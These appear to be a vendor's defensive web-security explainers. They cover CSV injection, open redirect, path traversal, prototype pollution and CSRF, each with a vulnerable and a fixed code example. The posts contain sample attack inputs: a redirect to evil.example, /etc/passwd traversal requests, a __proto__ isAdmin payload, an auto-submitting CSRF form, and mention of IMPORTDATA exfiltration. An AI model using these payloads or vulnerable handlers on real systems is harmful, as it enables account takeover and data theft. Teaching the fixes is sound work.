    Is CSV injection the same as formula injection?

    Yes, the two names describe the same bug. Attacker controlled text saved by your app becomes a live spreadsheet formula the moment someone exports the data and opens it in a program like Excel or Google Sheets. The trigger is a cell whose first character is =, +, -, or @.

    Why do web vulnerability scanners usually miss CSV injection?

    Most scanners poke the live application and read the HTTP response, where the stored value renders as harmless escaped text. The dangerous behavior only appears later, in a separate spreadsheet program, after a human triggers an export and opens the file. A pattern matcher that only watches responses has nothing to flag.

    How do you fix CSV injection without breaking stored data?

    Sanitize at export time, not in the database. When you build each CSV cell, prefix any value that starts with =, +, -, @, a tab, or a carriage return with a single quote so the spreadsheet reads it as text. Keep the real value in the database and apply the guard only to the exported copy. OWASP describes the same approach in its CSV Injection guide.

    Who actually gets harmed by a CSV injection bug?

    Usually not the attacker but the person who opens the export, often an admin who trusted a file from their own product. A formula like one using IMPORTDATA can quietly send a neighboring cell, such as another user’s email or token, to a server the attacker controls, all on the admin’s machine.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is an open redirect vulnerability?

    What is an open redirect vulnerability?

    An open redirect vulnerability happens when a web app takes a destination URL from user input and sends the browser there without checking where “there” is. The app means to bounce you back to a page on its own site. Instead an attacker hands it a link that quietly forwards you to a site they control. It looks small. It is the start of phishing, token theft, and server side attacks.

    What an open redirect vulnerability actually is

    Most apps redirect users all the time. You log in and the app sends you back to the page you were trying to reach. You log out and it returns you to the homepage. To remember where you were headed, the app stashes that destination in a URL parameter. The classic name is next, but url, return, redirect, dest, and continue show up just as often.

    The bug is what the app does with that value. If it reads the parameter and redirects to it as is, anyone can set it to any address. The trust you place in the visible domain at the start of the link is the exact thing the attacker borrows.

    A concrete example on Acme Notes

    Say Acme Notes protects its app behind a login. When you hit a private page while logged out, it sends you to the login screen and remembers your target:

    https://acme-notes.example/login?next=/dashboard

    After you sign in, the server reads next and forwards you to /dashboard. Useful. Now an attacker crafts a different link:

    https://acme-notes.example/login?next=https://acme-n0tes-login.example/steal

    The link still begins with the real acme-notes.example domain, so it reads as safe. The victim logs in as normal. Then Acme Notes itself forwards the browser to the attacker page. The user never sees the swap because the trusted domain did the forwarding.

    Why an open redirect vulnerability matters

    On its own a redirect feels harmless. The damage comes from what it enables.

    • Phishing that starts on a trusted domain. A link in an email begins with a name the victim knows. Their eye stops at the first domain. The forward lands them on a fake login page that copies the real one, and they type their password into it.
    • OAuth and token theft. When the redirect is chained with a weak redirect_uri check in an OAuth flow, the authorization code or access token in the URL can be forwarded straight to an attacker host. The login provider sees a request that looks valid because it started on the real client.
    • A stepping stone to SSRF. If a server side component follows the redirect instead of a browser, an open redirect can push a backend fetch toward an internal address it should never reach. That turns a client side annoyance into server side request forgery against systems behind the firewall.

    An open redirect is rarely the whole attack. It is the trusted first hop that makes the rest of the attack believable.

    The vulnerable handler, and a fix

    Here is the heart of the problem. A handler that trusts the parameter:

    // Vulnerable: redirects to whatever the user supplies
    app.get("/login", (req, res) => {
      const next = req.query.next || "/dashboard";
      // ... authenticate the user ...
      return res.redirect(next);   // next = "https://evil.example" works fine
    });

    The fix is to never redirect to raw user input. Treat the parameter as a hint, then map it to a destination you control. The reliable approach is an allowlist of relative paths or known hosts, with absolute and protocol relative URLs rejected outright:

    // Fixed: only allow safe, internal, relative paths
    const SAFE_PATHS = new Set(["/dashboard", "/settings", "/notes"]);
    
    function safeNext(next) {
      if (typeof next !== "string") return "/dashboard";
      // Reject absolute URLs: http:, https:, javascript:, data:, mailto:
      if (/^[a-z][a-z0-9+.-]*:/i.test(next)) return "/dashboard";
      // Reject protocol relative URLs like //evil.example
      if (next.startsWith("//")) return "/dashboard";
      // Must be a path we recognise
      return SAFE_PATHS.has(next) ? next : "/dashboard";
    }
    
    app.get("/login", (req, res) => {
      // ... authenticate the user ...
      return res.redirect(safeNext(req.query.next));
    });

    If you need to allow more than a fixed set of paths, parse the value and compare its host against an allowlist of hostnames you own. Reject anything that does not match, and always fall back to a safe default rather than to the input.

    Why blocklists fail

    A common first attempt is to block bad strings. Strip out http:// and https://, or refuse anything containing evil.example. This loses, every time, because the set of ways to write a hostile URL is open ended:

    • //evil.example has no scheme, so a filter looking for http misses it. The browser still treats it as an absolute address.
    • https:/\evil.example and backslash tricks get normalised by some browsers into a real redirect.
    • https://acme-notes.example.evil.example contains your domain as a substring, so a naive contains check passes it.
    • URL encoding, double encoding, and whitespace such as %2F%2Fevil.example slip past simple matching.

    A blocklist tries to name every bad input. You cannot. An allowlist names the small set of good outputs, which you can. That is the whole reason allowlists win here: you are deciding what is allowed, not guessing at everything that is not. If you want to see how different parsers read the same value, our free URL parser confusion analyzer shows where a host or scheme can disagree and slip past an allowlist check.

    How to detect and prevent open redirects

    Detection starts with finding every place the app turns user input into a destination.

    • Grep for redirect calls. Search the codebase for redirect, Location headers, res.redirect, sendRedirect, and meta refresh tags. For each one, trace the destination back to its source. If the source is a query parameter, form field, or header, you have a candidate.
    • Watch the usual parameter names. Look at every next, url, return, returnTo, redirect, continue, and dest in your routes.
    • Test the obvious payloads. Set the parameter to https://example.org and to //example.org and see if the browser leaves your domain. If it does, you have an open redirect.

    Prevention comes down to a few rules you apply everywhere:

    • Never pass raw user input into a redirect.
    • Prefer relative paths from a known allowlist. Map a short token or path to a destination instead of carrying a full URL.
    • If you must accept hosts, compare against an allowlist of hostnames you own and reject everything else.
    • Reject absolute URLs and protocol relative //evil.example values up front.
    • Always fall back to a safe default when validation fails, never to the input.

    If you want the background on this and related logic bugs, the vulnerability basics category covers the patterns that show up again and again.

    Why this bug hides from simple scanners

    An open redirect is a logic bug, not a payload. A scanner that fires a list of known strings might catch the simplest case. It tends to miss the redirect that only triggers after login, or the one that needs a specific parameter order, or the chain where the redirect feeds an OAuth flow two steps later. Finding those means understanding what the app is trying to do and where its trust in user input quietly leaks out.

    That is the kind of assumption testing an autonomous researcher is built for: tracing a destination from input to redirect, then checking whether the app’s belief about “safe” actually holds. You can read more about that approach on the about page.

    Frequently asked questions

    Is an open redirect actually a serious vulnerability on its own?

    On its own a redirect feels minor, but its value is as the trusted first hop in a larger attack. It makes phishing believable because the link starts on a domain the victim knows, and it can be chained into OAuth token theft or server side request forgery. Treat it as the opening move, not the whole attack.

    Why use an allowlist instead of blocking bad redirect URLs?

    A blocklist tries to name every hostile input, which is impossible because of forms like //evil.example with no scheme, backslash tricks, and encoded values that slip past simple matching. An allowlist names the small set of good destinations you actually support, which you can define exactly. You are deciding what is allowed rather than guessing at everything that is not.

    How can an open redirect lead to server side request forgery?

    If a server side component follows the redirect instead of a browser, the open redirect can push a backend fetch toward an internal address it should never reach. That turns a client side annoyance into a request against systems behind the firewall. The PortSwigger Web Security Academy guide on SSRF covers how those internal requests get abused.

    Which parameter names commonly hide open redirect bugs?

    Watch for next, url, return, returnTo, redirect, continue, and dest. For each one, trace the destination back to its source, and if it comes from a query parameter, form field, or header that flows into a redirect without checks, you have a candidate to test.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: URL Parser Confusion Analyzer lets you see how different parsers disagree about the host in a URL. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • What is path traversal?

    What is path traversal?

    A path traversal bug lets an attacker step out of the folder your app meant to serve and read files it never intended to share. It shows up when an app takes a file name from the URL, like ?file=invoice.pdf, and hands it straight to the file system. Change that value to ../../etc/passwd and the same code that served an invoice now reads a system password file. This post explains how the bug works from zero, also called directory traversal, and how to shut it down.

    What is path traversal in plain terms

    Most web apps store files on disk and let users fetch them by name. A download endpoint might map a request to a folder like /var/www/files/ and tack the requested name onto the end. That is fine until the name contains the sequence ../, which means “go up one directory.” Each ../ climbs one level toward the root of the disk. Stack enough of them and you escape the intended folder.

    Here is the shape of the request. A normal one looks like this:

    GET /download?file=invoice.pdf HTTP/1.1
    Host: acme-notes.example

    The server reads /var/www/files/invoice.pdf and returns it. Now the attacker sends this instead:

    GET /download?file=../../../../etc/passwd HTTP/1.1
    Host: acme-notes.example

    The server joins the path and ends up reading /etc/passwd from the disk root. Nothing about the request looks malformed. It is the same parameter, the same code path, just a different value. That is what makes path traversal easy to miss in a quick test.

    The file name in a URL is user input. The moment it touches a file API without being checked against a fixed base directory, the whole disk is in scope.

    What an attacker can actually read

    The damage depends on what the app can reach on the host. Common targets include:

    • Source code. Reading your own application files, like ../config/database.yml or ../../app/settings.py, exposes logic and secrets in one shot.
    • Config and credentials. Files such as .env, cloud credential files, and database config often sit a few folders above the served directory.
    • Secrets and keys. Private keys, API tokens, and session signing keys turn a read bug into account takeover or full server access.
    • System files. On Unix, /etc/passwd confirms the bug and lists user accounts. On Windows, files like C:\Windows\win.ini serve the same proof.

    A read primitive sounds limited. In practice, reading the right config file once is enough to pivot into the database or the cloud account.

    Encoding tricks at a high level

    Apps that try to block traversal with a simple text filter often check for the literal string ../ and stop there. Attackers get around that by encoding the same characters so the filter does not recognize them, while the file system still decodes them back to ../ later.

    • Percent encoding. A dot can be written as %2e, so ../ becomes %2e%2e%2f. A naive filter scanning for dots and slashes sees nothing.
    • Double encoding. Encode the percent sign itself and you get %252e. If one layer of the stack decodes once and passes it on, a second decode step turns it back into a dot.
    • Null bytes, historically. Older platforms truncated a string at a null byte (%00), so secret.key%00.pdf could pass a .pdf check and still open secret.key. Modern runtimes mostly closed this, but legacy code and native libraries can still be exposed.

    The lesson is not to memorize each trick. Filtering for bad strings is the wrong model. You cannot list every encoding of ../. You have to validate the resolved path instead, which I cover below.

    Windows versus Unix paths

    Path separators differ by platform, and that matters for both attack and defense. Unix uses the forward slash /. Windows accepts both the backslash \ and the forward slash, so ..\..\..\windows\win.ini and ../../../windows/win.ini can both work. A filter that only looks for ../ misses the backslash form on a Windows host. Windows also has drive letters and UNC paths, which give attackers more ways to name an absolute location. If your defense assumes one separator, it is already incomplete on the other platform.

    The link to local file inclusion

    Path traversal is about reading a file off disk. Local file inclusion, or LFI, goes a step further: the app does not just read the file, it executes or interprets it. In a templating or scripting setup, a traversal that points at a file the engine will run can turn a read bug into code execution. The same untrusted file name reaches a more dangerous sink. So when you find a traversal, ask what the app does with the file after reading it. If it ever interprets the contents, the impact jumps from disclosure to execution.

    A vulnerable endpoint and a fixed version

    Here is a download handler written the wrong way, then the same handler with the holes closed. The vulnerable version joins user input straight onto a base path:

    // VULNERABLE: user input reaches the file API directly
    const path = require('path');
    const fs = require('fs');
    
    app.get('/download', (req, res) => {
      const base = '/var/www/files';
      const filePath = base + '/' + req.query.file;   // ../../etc/passwd escapes base
      res.sendFile(filePath);
    });

    The fixed version resolves the full path, confirms it still sits inside the base directory, and only serves names from a known set:

    // FIXED: canonicalize, verify containment, allowlist the name
    const path = require('path');
    const fs = require('fs');
    
    const BASE = path.resolve('/var/www/files');
    const ALLOWED = new Set(['invoice.pdf', 'receipt.pdf', 'terms.pdf']);
    
    app.get('/download', (req, res) => {
      const requested = path.basename(req.query.file || '');  // strip any directory parts
    
      if (!ALLOWED.has(requested)) {
        return res.status(404).send('Not found');
      }
    
      const resolved = path.resolve(BASE, requested);
    
      // Containment check: resolved path must stay inside BASE
      if (resolved !== BASE && !resolved.startsWith(BASE + path.sep)) {
        return res.status(400).send('Bad request');
      }
    
      res.sendFile(resolved);
    });

    Three things make the fixed version safe. It canonicalizes the path with path.resolve, which collapses every ../ into a real absolute location, so encoded or stacked traversals all reduce to one concrete path you can check. It then verifies containment, confirming the resolved path still starts with the base directory before any read happens. And it uses an allowlist of known names, so anything outside that set is refused before path logic runs. The rule underneath all three: never pass raw user input to a file API.

    How to detect and prevent it

    Detection starts with finding every place a request value reaches the file system. Look for download, export, preview, avatar, and report endpoints, and any code that builds a path by joining strings. Then test those values with traversal sequences and their encoded forms, watching for a system file in the response or an error that leaks a path.

    Prevention checklist

    • Resolve, then verify. Canonicalize the full path and confirm it stays inside the intended base directory. Reject anything that does not.
    • Prefer an allowlist. Map requests to a fixed set of known names or IDs rather than accepting arbitrary file names.
    • Strip directory parts. Reduce input to a bare file name with a function like basename so separators cannot survive.
    • Decode fully before checking. Validate after all decoding is done, so %2e%2e and double encoded forms cannot slip past a string filter.
    • Handle both separators. Account for / and \, drive letters, and absolute paths, especially on Windows hosts.
    • Least privilege on disk. Run the app as a user that cannot read secrets or system files, so a bug that slips through still reads little.

    The reason this bug survives is that the app’s assumption, “the file name only ever points inside this folder,” is never enforced at the line where the file is read. Testing that assumption directly is exactly the kind of work an autonomous security researcher that tests assumptions is built for. If you want more on this family of issues, the injection and input category collects related reads. Find your file endpoints, resolve and check every path, and the whole class goes away.

    Frequently asked questions

    Is path traversal the same as local file inclusion?

    They are related but not identical. Path traversal lets an attacker read a file off disk that should be out of reach, while local file inclusion goes further and makes the app execute or interpret that file. If you find a traversal, check what the app does with the file after reading it, because a read bug becomes code execution when the contents are later run.

    Why does filtering for ../ fail to stop path traversal?

    Because there are too many ways to write the same sequence. Attackers use percent encoding like %2e%2e%2f, double encoding like %252e, and on Windows the backslash form ..\, all of which a literal string filter misses. The reliable fix is to canonicalize the full path and confirm it still sits inside your intended base directory before any read happens.

    How is path traversal different on Windows versus Unix?

    Unix uses the forward slash, but Windows accepts both the backslash and the forward slash, plus drive letters and UNC paths, so it offers more ways to name an absolute location. A filter that only looks for ../ misses the ..\ form on a Windows host, so any defense that assumes one separator is already incomplete on the other platform.

    What is the most reliable way to prevent path traversal?

    Resolve the full path first, then verify it still starts with your base directory, and prefer mapping requests to an allowlist of known names or IDs over accepting arbitrary file names. Running the app with least privilege on disk limits what a missed case can reach. MITRE tracks this weakness as CWE-22.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is prototype pollution?

    What is prototype pollution?

    Prototype pollution is a JavaScript bug where an attacker writes to the shared prototype that almost every object inherits from, and that one write quietly changes objects all over your app. It usually starts with untrusted JSON and a helper that copies fields into an object without checking the key names. The result is a property that appears on data you never touched, which is how prototype pollution turns a harmless merge into privilege escalation, a crash, or a step toward worse.

    What an object prototype actually is

    In JavaScript every object has a hidden link to another object called its prototype. When you read a property that the object does not have, the engine walks up that chain and checks the prototype next. Most plain objects you create with {} link to one shared object: Object.prototype.

    Here is the part that matters. There is one Object.prototype for the whole runtime. Every {} you make, every parsed JSON object, every options bag passed around your code, all of them inherit from that same object. So if an attacker can add a property to Object.prototype, that property shows up as a default on millions of objects at once.

    Two doors lead to that shared object. The first is __proto__, an accessor that points at an object’s prototype. Reading obj.__proto__ gives you the prototype. Writing obj.__proto__.isAdmin = true sets a property on the prototype itself, not on obj. The second door is constructor.prototype. From any object you can reach obj.constructor, which for a plain object is Object, and Object.prototype from there. Both paths land on the same shared object.

    How prototype pollution happens in real code

    The classic source is a recursive merge that copies user supplied JSON into an existing object. Imagine a small invented app, Acme Notes, that lets users save preferences. The server merges the posted JSON onto a defaults object:

    function merge(target, source) {
      for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
          if (typeof target[key] !== 'object') target[key] = {};
          merge(target[key], source[key]);   // recurse with attacker controlled key
        } else {
          target[key] = source[key];
        }
      }
      return merge;
    }
    
    // defaults the server trusts
    const prefs = { theme: 'light' };
    
    // body posted by the user
    const body = JSON.parse(req.body);
    merge(prefs, body);
    

    Now the attacker posts this body:

    { "__proto__": { "isAdmin": true } }
    

    The loop hits the key __proto__, sees an object value, and recurses into target["__proto__"], which is Object.prototype. It then sets isAdmin = true on the prototype. The user’s own prefs object looks untouched. But Object.prototype.isAdmin is now true for the entire process.

    The attacker never edits the object you are looking at. They edit the default that every other object falls back to, and you read that default by accident later.

    Why the polluted property leaks everywhere

    Later, in code that has nothing to do with preferences, someone checks a fresh object:

    const session = {};            // a brand new, empty object
    if (session.isAdmin) {
      grantAdminAccess();          // runs, because the property is inherited
    }
    

    session has no own isAdmin key, so the engine walks the prototype chain, finds isAdmin = true on Object.prototype, and returns it. The check passes. That is privilege escalation from a single preferences write, and the two pieces of code may live in different files written by different people.

    The other shapes of damage

    • Denial of service. Pollute a property that core libraries read, such as a numeric or function valued field, and unrelated objects start failing type checks or throwing. A few bytes of JSON can crash a worker on every request.
    • Gadget toward code execution. On its own a polluted property is just a default value. The danger is when that default flows into a sink that later treats it as code or as a config that controls a child process or a template. If a templating engine reads an inherited option, or a command runner reads inherited arguments, the polluted value becomes the input to that sink. We will keep this at a high level: the lesson is that a write you think is contained can reach a dangerous place because so much code reads from the shared prototype.

    Fixing the vulnerable merge

    The same merge becomes safe once you refuse the dangerous keys and stop trusting inherited properties. Several defenses stack together:

    const BANNED = new Set(['__proto__', 'constructor', 'prototype']);
    
    function safeMerge(target, source) {
      for (const key of Object.keys(source)) {     // own keys only
        if (BANNED.has(key)) continue;             // reject the doors
        const value = source[key];
        if (value && typeof value === 'object' && !Array.isArray(value)) {
          if (typeof target[key] !== 'object' || target[key] === null) {
            target[key] = Object.create(null);     // no prototype to pollute
          }
          safeMerge(target[key], value);
        } else {
          target[key] = value;
        }
      }
      return target;
    }
    

    What each piece buys you:

    • Block __proto__, constructor, and prototype keys. This shuts both doors to the shared prototype. Reject the whole request rather than silently dropping the key, so abuse is visible.
    • Use Object.create(null) for bags of user data. An object with a null prototype has no inherited isAdmin to leak and no __proto__ accessor to abuse. Lookups return only own keys.
    • Prefer a Map over a plain object for key value data from users. A Map stores keys as real entries, so __proto__ is just a string key with no special meaning and no prototype chain to walk.
    • Freeze the prototype. Object.freeze(Object.prototype) at startup makes the shared object read only, so even a missed sink cannot write to it. Test this, since some libraries expect to extend prototypes.
    • Validate against a schema. Define the exact fields you accept and their types, then drop everything else. A schema that allows only theme and fontSize never lets __proto__ through in the first place.

    How to detect and prevent it

    Detection starts with knowing where untrusted data meets object writes. Look for these patterns:

    • Recursive merge, deep clone, deep assign, or set(obj, path, value) helpers that accept user controlled keys or dotted paths like a.b.c.
    • Any spot where JSON.parse output flows straight into a merge or into bracket assignment obj[key] = value.
    • Query string parsers that build nested objects, since ?__proto__[isAdmin]=true is the URL version of the same attack.

    To prevent it, treat all three steps as one job: reject dangerous keys at the boundary, validate input against a strict schema, and use prototype free structures (Object.create(null) or Map) for user data. Freeze Object.prototype as a backstop. Keep dependencies patched, because popular merge and path setting libraries have shipped and fixed this exact bug more than once. For a wider view of input driven bugs, see our injection and input writeups, since prototype pollution sits in that family.

    Why this bug rewards understanding over pattern matching

    Prototype pollution is rarely visible in one file. The write happens in a preferences endpoint and the payoff happens in an auth check two modules away, so a tool that only matches known payloads can miss the link entirely. Finding it means understanding what the app assumes, that a new empty object is truly empty, and then testing whether that assumption holds. This is the kind of assumption gap an autonomous researcher that experiments and verifies is built to find. If you want to see how UnboundCompute approaches that, read more about how it works.

    Frequently asked questions

    Can prototype pollution lead to remote code execution?

    Not on its own, but it can. A polluted property is just a default value until it flows into a sink that treats it as code or config, such as a template engine or a command runner that reads an inherited option. When that happens, the value you thought was contained becomes the input to a dangerous operation, which is why the bug is rated higher than a simple data tampering issue.

    What is the difference between __proto__ and constructor.prototype in this attack?

    Both are paths that reach the same shared Object.prototype, so polluting through either one affects every plain object in the runtime. __proto__ is a direct accessor for an object’s prototype, while constructor.prototype reaches it by going through the object’s constructor first. A good defense blocks the keys __proto__, constructor, and prototype together rather than just one.

    Does using Object.create(null) actually stop prototype pollution?

    It removes the prototype chain for that one object, so there is no inherited isAdmin to leak and no __proto__ accessor to abuse on it. It is a strong control for bags of user data, but it does not protect objects elsewhere in your code, so pair it with key filtering and schema validation. See the PortSwigger Web Security Academy guide on prototype pollution for the wider attack surface.

    Why do automated scanners often miss prototype pollution?

    The write happens in one place, like a preferences endpoint, and the payoff happens in a separate auth or config check that may live in another file. A tool that only matches known payloads against a single response cannot see that the two are connected, so finding the bug means understanding what the app assumes about fresh objects being empty.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is CSRF (cross site request forgery)?

    What is CSRF (cross site request forgery)?

    A csrf attack tricks a logged in user’s browser into sending a request they never meant to send. The browser attaches the victim’s session cookie automatically, so the target app sees a normal, authenticated request and acts on it. Cross site request forgery, often written CSRF, abuses the gap between who clicked and what the server thinks happened.

    What a csrf attack actually is

    CSRF works because of one browser habit: cookies travel with every request to the site they belong to. If you are logged into Acme Notes in one tab, your session cookie goes out with any request your browser makes to acmenotes.example, no matter which page or which site started that request.

    An attacker cannot read your cookie. They do not need to. They only need your browser to fire a request, and the browser supplies the cookie on its own. The server reads the cookie, sees a valid session, and trusts the request. This is the trap.

    CSRF is not about stealing your session. It is about borrowing it for one request while you are not looking.

    How the browser auto sends cookies

    Say you log into Acme Notes and get a cookie named session=abc123. From that point, every request to acmenotes.example carries Cookie: session=abc123. A form submit, an image load, a script, a redirect: the cookie rides along. The browser does not ask whether the page that triggered the request is Acme Notes or some random blog. That ambient cookie is what an attacker reaches for.

    A concrete example: changing a victim’s email

    Acme Notes lets a user change their account email by posting to /account/email with one field, new_email. The endpoint checks the session cookie and nothing else. That single weak assumption, the cookie alone proves intent, is all a csrf attack needs.

    The attacker builds a page and emails the victim a link, or hides it inside an ad. The victim, still logged into Acme Notes in another tab, opens the page. This form submits itself the instant the page loads:

    <!-- evilpage.example/win.html -->
    <form id="x" action="https://acmenotes.example/account/email" method="POST">
      <input type="hidden" name="new_email" value="attacker@evil.example">
    </form>
    <script>document.getElementById("x").submit();</script>

    No click is needed. On load, the browser posts to Acme Notes and attaches session=abc123 because the request goes to acmenotes.example. The server sees a valid session, updates the email to attacker@evil.example, and now the attacker can trigger a password reset and take the account. The victim saw a blank page.

    Why it works: ambient authority

    The flaw is ambient authority. The session cookie acts as standing permission that applies to any request, regardless of where the request came from. The server proves who you are but never checks whether you meant this. CSRF lives in that missing check.

    What makes a request CSRFable

    Not every endpoint is a target. A request is exposed when all three of these hold:

    • It changes state. Updating an email, transferring funds, deleting a note, adding an admin. Read only endpoints leak nothing useful through CSRF on their own.
    • It authenticates by cookie alone. If the session rides only in an auto sent cookie, the browser hands it over for free. Endpoints that require a token in a custom header are much harder to forge from another origin.
    • It is predictable. The attacker must know the method, the URL, and the field names in advance. POST /account/email with one field new_email is easy to guess and easy to forge.

    Flip any one of these and the attack gets harder. Defenses below break the second and third.

    Defenses against a csrf attack

    Synchronizer tokens (anti CSRF tokens)

    The server generates a random token tied to the session, embeds it in every form, and requires it back on every state changing request. The attacker’s page cannot read that token, because the same origin policy blocks it from reading Acme Notes pages, so the forged request arrives without a valid token and the server rejects it.

    # server side check, in plain pseudocode
    token_from_form = request.body["csrf_token"]
    token_for_session = session["csrf_token"]
    
    if not token_from_form or token_from_form != token_for_session:
        reject(403)   # missing or wrong token, drop the request
    else:
        process_email_change()

    Token randomness matters. The token must be long and unpredictable, drawn from a cryptographically secure random source and unique per session. If the token is a counter, a timestamp, or a hash of the username, the attacker can compute it and include it in the forged form. A guessable token is no protection at all.

    SameSite cookies

    Mark the session cookie SameSite=Lax or SameSite=Strict. The browser then withholds the cookie on cross site requests. With SameSite=Strict, a POST from evilpage.example to acmenotes.example carries no session cookie, so the forged request lands as an anonymous one and fails. Lax still blocks cross site POSTs while allowing top level navigations, which suits most apps. Set this, and also keep tokens, because older browsers and some flows still slip through. You can confirm a cookie actually carries SameSite, Secure, and HttpOnly with our free security headers and CSP analyzer.

    Checking Origin and Referer

    State changing requests carry an Origin header, and often a Referer, that name the page that started them. The server can reject any request whose Origin is not its own. A forged request from evilpage.example shows Origin: https://evilpage.example, which fails the check. Treat this as a second layer, not the only one, since a missing header should be handled with care rather than waved through.

    Why CORS is not a CSRF defense

    This one trips people up. CORS controls whether JavaScript on one origin may read the response from another origin. CSRF does not care about reading the response. The damage, changing the email, is done by the request itself the moment the server processes it. The attacker never needs to see the reply. A restrictive CORS policy does not stop the browser from sending the cross site request with cookies attached, so it does nothing against a csrf attack. Treat CORS and CSRF as separate problems. That said, CORS has its own failure mode in the other direction, where response headers expose authenticated data to any origin; our free CORS misconfiguration checker flags those dangerous combinations.

    A short checklist

    • Require an anti CSRF token on every state changing request, and make it random per session.
    • Set SameSite on session cookies.
    • Validate Origin on writes as a backup.
    • Do not lean on CORS for this. It guards reads, not writes.
    • Keep read endpoints read only, so a GET never changes state.

    Want more on the access boundaries attackers probe, from sessions to permissions? Read the access control posts.

    Closing

    CSRF is a logic gap, not a payload. The server trusts a cookie as proof of intent, and an attacker borrows that trust for one request. The fix is to prove intent on every write with an unpredictable token, withhold cookies on cross site requests, and check where the request came from. This is exactly the kind of assumption, the cookie alone means the user meant it, that an autonomous researcher built to test how an app really behaves is made to find. To see how UnboundCompute approaches that, read about.

    Frequently asked questions

    What is a CSRF attack?

    A CSRF attack tricks a logged in user’s browser into sending a request they never meant to send. The browser attaches the victim’s session cookie automatically, so the target app sees a normal authenticated request and acts on it. See the OWASP CSRF page for more background.

    How do you prevent CSRF?

    Require an anti CSRF token on every state changing request, drawn from a secure random source and unique per session, because the attacker’s page cannot read it. Set SameSite on session cookies so the browser withholds them on cross site requests, and validate the Origin header on writes as a backup layer.

    Does CORS protect against CSRF?

    No. CORS controls whether JavaScript on one origin may read the response from another origin, but CSRF does not care about reading the response, since the damage is done the moment the server processes the request. A restrictive CORS policy does nothing to stop the browser from sending a cross site request with cookies attached, so treat CORS and CSRF as separate problems.

    What makes a request vulnerable to CSRF?

    Three things have to hold at once. The request changes state, like updating an email or transferring funds, it authenticates by cookie alone, and it is predictable enough that an attacker can guess the method, URL, and field names in advance. Break any one of these and the attack gets much harder.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Cookie Security Auditor lets you paste a Set-Cookie header and see which flags are missing. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.